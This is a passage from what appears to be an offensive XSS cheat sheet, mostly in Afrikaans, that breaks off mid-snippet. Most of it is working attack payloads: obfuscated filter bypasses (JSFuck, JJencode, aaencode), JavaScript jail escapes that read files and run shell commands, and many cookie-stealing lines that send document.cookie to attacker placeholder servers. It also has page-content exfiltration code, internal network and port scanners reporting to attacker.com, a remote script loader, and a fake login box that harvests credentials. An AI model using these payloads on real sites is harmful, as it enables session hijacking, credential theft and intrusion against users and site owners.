Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM vulnerabilities

Daar is JS code wat onskerlik data beheer deur 'n aanvaller' gebruik soos location.href. 'n Aanvaller kan dit misbruik om arbitrêre JS-kode uit te voer.
As gevolg van die uitgerekte verduideliking oor DOM vulnerabilities it was moved to this page:

DOM XSS

Daar sal jy 'n gedetaileerde verklaring vind van wat DOM vulnerabilities is, hoe dit veroorsaak word, en hoe om dit uit te buit.
Moet ook nie vergeet dat aan die einde van die genoemde post 'n verduideliking oor DOM Clobbering attacks te vinde is.

Opgradering van Self-XSS

As jy 'n XSS kan trigger deur die payload in 'n cookie te stuur, is dit gewoonlik 'n self-XSS. Indien jy egter 'n vulnerable subdomain to XSS vind, kan jy hierdie XSS misbruik om 'n cookie in die hele domein te inject en sodoende die cookie XSS in die hoofdomein of ander subdomeine (diegene vatbaar vir cookie XSS) te trigger. Hiervoor kan jy die cookie tossing attack gebruik:

Cookie Tossing

Jy kan 'n goeie misbruik van hierdie tegniek vind in hierdie blogpost.

Sending your session to the admin

Miskien kan 'n gebruiker sy profiel met die admin deel en as die self XSS binne die gebruiker se profiel is en die admin dit toegang, sal hy die kwesbaarheid trigger.

Session Mirroring

As jy 'n self XSS vind en die webblad het session mirroring vir administrators, byvoorbeeld kliënte kan om hulp vra en sodat die admin jou sessie sien om jou te help maar vanuit sy eie sessie.

Jy kan die administrator jou self XSS laat trigger en sy cookies/sessie steel.

Ander Omseilings

Bypassing sanitization via WASM linear-memory template overwrite

Wanneer 'n web app Emscripten/WASM gebruik, leef konstante strings (soos HTML format stubs) in skryfbare linear memory. 'n Enkele in‑WASM overflow (bv. unchecked memcpy in 'n edit path) kan aangrensende strukture korrupteer en skryfwerk na daardie konstantes herlei. Om 'n template soos "

%.*s

" na "" oor te skryf verander gesanitiseerde invoer in 'n JavaScript handler waarde en lewer onmiddellike DOM XSS by render.

Kontroleer die toegewyde bladsy met exploitation workflow, DevTools memory helpers, en defenses:

Wasm Linear Memory Template Overwrite Xss

Normalised Unicode

Jy kan nagaan of die reflected values op die bediener (of aan kliëntkant) unicode genormaliseer word en hierdie funksionaliteit misbruik om beskerming te omseil. Vind 'n voorbeeld hier.

PHP FILTER_VALIDATE_EMAIL flag Bypass

javascript
"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

As gevolg van RoR mass assignment word aanhalingstekens in die HTML ingevoeg, en die aanhalingbeperking word omseil, sodat bykomende velde (onfocus) binne die tag bygevoeg kan word.
Vormvoorbeeld (from this report), as jy die payload stuur:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

Die paar "Key","Value" sal soos volg teruggegee word:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Dan sal die onfocus-attribuut ingevoeg word en XSS sal voorkom.

Spesiale kombinasies

html
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS met header-inspuiting in 'n 302 Redirect-antwoord

As jy ontdek dat jy headers in 'n 302 Redirect response kan injekteer kan jy probeer om die browser arbitrêre JavaScript uit te laat voer. Dit is nie eenvoudig nie, aangesien moderne blaaiers die HTTP-response-lyfie nie interpreteer as die HTTP-response statuskode 302 is nie, so net 'n cross-site scripting payload is nutteloos.

In this report and this one kan jy lees hoe jy verskeie protokolle binne die Location-header kan toets en kyk of enige van hulle die browser toelaat om die XSS-payload binne die body te inspekteer en uit te voer.
Bekende protokolle: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.

Slegs Letters, Syfers en Punte

As jy in staat is om die callback wat JavaScript gaan uitvoer aan te dui, beperk tot daardie karakters. Lees hierdie afdeling van hierdie post om te vind hoe om hierdie gedrag te misbruik.

Valid <script> Content-Types to XSS

(From here) If you try to load a script with a content-type such as application/octet-stream, Chrome will throw following error:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

The only Content-Types that will support Chrome to run a loaded script are the ones inside the const kSupportedJavascriptTypes from https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc

c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Skrip-tipes vir XSS

(Van here) Dus, watter tipes kan aangedui word om 'n skrip te laai?

html
<script type="???"></script>

Die antwoord is:

  • module (standaard, niks om te verduidelik)
  • webbundle: Web Bundles is 'n funksie waarmee jy 'n klomp data (HTML, CSS, JS…) saam kan pak in 'n .wbn lêer.
html
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: Laat toe om die import-sintaksis te verbeter
html
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>

Hierdie gedrag is gebruik in this writeup om 'n library na eval te herkaarteer en dit te misbruik om XSS te veroorsaak.

  • speculationrules: Hierdie feature is hoofsaaklik bedoel om sommige probleme wat deur pre-rendering veroorsaak word op te los. Dit werk soos volg:
html
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>

Web Content-Types to XSS

(From here) Die volgende content types kan XSS in alle blaaiers uitvoer:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? nie op die lys nie maar ek dink ek het dit in 'n CTF gesien)
  • application/rss+xml (off)
  • application/atom+xml (off)

In ander blaaiers kan ander Content-Types gebruik word om arbitrary JS uit te voer, kyk: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml Content Type

As die bladsy 'n text/xml content-type teruggee, is dit moontlik om 'n namespace aan te dui en arbitrary JS uit te voer:

xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Spesiale vervangingspatrone

As iets soos "some {{template}} data".replace("{{template}}", <user_input>) gebruik word, kan die aanvaller special string replacements gebruik om te probeer sekere beskermings te omseil: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Byvoorbeeld in this writeup, this was used to scape a JSON string inside a script and execute arbitrary code.

Chrome Cache to XSS

Chrome Cache to XSS

XS Jails Escape

As jy slegs 'n beperkte stel karakters het om te gebruik, kyk na hierdie ander geldige oplossings vir XSJail-probleme:

javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

As alles is undefined voordat onbetroubare kode uitgevoer word (soos in this writeup), is dit moontlik om nuttige objekte "uit niks" te genereer om die uitvoering van arbitrêre onbetroubare kode te misbruik:

  • Gebruik import()
javascript
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
  • Indirekte toegang tot require

According to this modules word deur Node.js binne 'n funksie toegedraai, soos volg:

javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})

Daarom, as ons van daardie module 'n ander funksie kan aanroep, is dit moontlik om arguments.callee.caller.arguments[1] van daardie funksie te gebruik om by require toegang te kry:

javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()

Op 'n soortgelyke manier as die vorige voorbeeld is dit moontlik om deur middel van error handlers toegang te kry tot die wrapper van die module en die require funksie te verkry:

javascript
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()

Obfuscation & Advanced Bypass

javascript
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
javascript
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
javascript
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
javascript
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻   / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
javascript
// It's also possible to execute JS code only with the chars: []`+!${}

XSS algemene payloads

Verskeie payloads in 1

Steal Info JS

Iframe Trap

Laat die gebruiker op die bladsy navigeer sonder om die iframe te verlaat en steel sy handelinge (insluitend inligting wat in vorms gestuur word):

Iframe Traps

Haal Cookies op

javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

tip

Jy sal nie deur JavaScript toegang tot die cookies kry nie as die HTTPOnly flag in die cookie gestel is. Maar hier het jy some ways to bypass this protection as jy gelukkig genoeg is.

Steel Bladsyinhoud

javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)

Vind interne IP-adresse

html
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>

Port Scanner (fetch)

javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Poortskandeerder (websockets)

python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Kort tye dui op 'n reagerende port Langer tye dui op geen reaksie nie.

Kyk na die lys van ports wat in Chrome geblokkeer is here en in Firefox here.

Boks om vir credentials te vra

html
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Auto-fill passwords vangs

javascript
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
